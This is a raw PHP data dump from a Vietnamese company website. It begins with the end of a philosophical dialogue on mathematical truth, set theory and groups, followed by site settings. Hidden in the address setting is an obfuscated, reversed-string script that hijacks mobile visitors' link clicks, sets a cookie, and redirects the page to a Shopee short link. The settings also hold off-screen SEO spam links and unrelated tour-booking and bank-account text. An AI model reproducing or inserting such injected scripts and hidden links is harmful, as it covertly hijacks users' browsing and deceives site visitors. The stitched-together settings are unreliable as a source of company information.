</div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 